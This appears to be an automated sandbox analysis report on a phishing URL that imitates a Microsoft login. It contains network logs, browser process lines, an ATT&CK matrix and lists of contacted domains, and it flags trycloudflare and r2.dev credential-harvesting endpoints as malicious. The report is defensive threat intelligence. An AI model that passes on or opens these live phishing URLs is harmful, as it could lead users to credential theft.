Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 162.214.154.8:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.21.144:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.248.203:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.248.203:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.38.252:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.80.7:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.149.4:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.41.16:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.16:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.21.144:443 -> 192.168.2.16:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49913 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6180_1506400688

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6180_1506400688

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@32/108@54/21

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,11332565811409794431,4363301958893749147,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,11332565811409794431,4363301958893749147,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	15 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://button-students-container-titans.trycloudflare.com/favicon.ico	0%	Avira URL Cloud	safe
https://button-students-container-titans.trycloudflare.com/api/status/login_20250327_090120	0%	Avira URL Cloud	safe
https://www.gamedev.net/articles/programming/graphics/contact-hardening-soft-shadows-made-fast-r4906	0%	Avira URL Cloud	safe
https://button-students-container-titans.trycloudflare.com/api/get-branding	0%	Avira URL Cloud	safe
https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5	0%	Avira URL Cloud	safe
https://pub-dfd33530d0df476092e8325dabd3a066.r2.dev/mailboxstatus.html	0%	Avira URL Cloud	safe
https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/favicon.ico	0%	Avira URL Cloud	safe
https://app.spline.design/_assets/_icons/icon_favicon32x32.png);	0%	Avira URL Cloud	safe
https://www.shadertoy.com/view/ltScRG	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
e329293.dscd.akamaiedge.net	23.209.72.9	true	false	high
pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev	172.66.0.235	true	true	unknown
loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br	162.214.154.8	true	false	high
cdn.tailwindcss.com	104.22.21.144	true	false	high
s-part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	high
d1upx9974t6kuw.cloudfront.net	18.238.80.7	true	false	unknown
ipapi.co	104.26.8.44	true	false	high
button-students-container-titans.trycloudflare.com	104.16.230.132	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.72.100	true	false	high
api.ipify.org	104.26.13.205	true	false	high
unpkg.com	104.17.248.203	true	false	high
assets5.lottiefiles.com	104.18.38.252	true	false	high
prod.spline.design	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://button-students-container-titans.trycloudflare.com/api/status/login_20250327_090035	true		unknown
https://cdn.tailwindcss.com/3.4.16	false		high
https://button-students-container-titans.trycloudflare.com/api/	true		unknown
https://unpkg.com/@lottiefiles/lottie-player@latest/dist/lottie-player.js.map	false		high
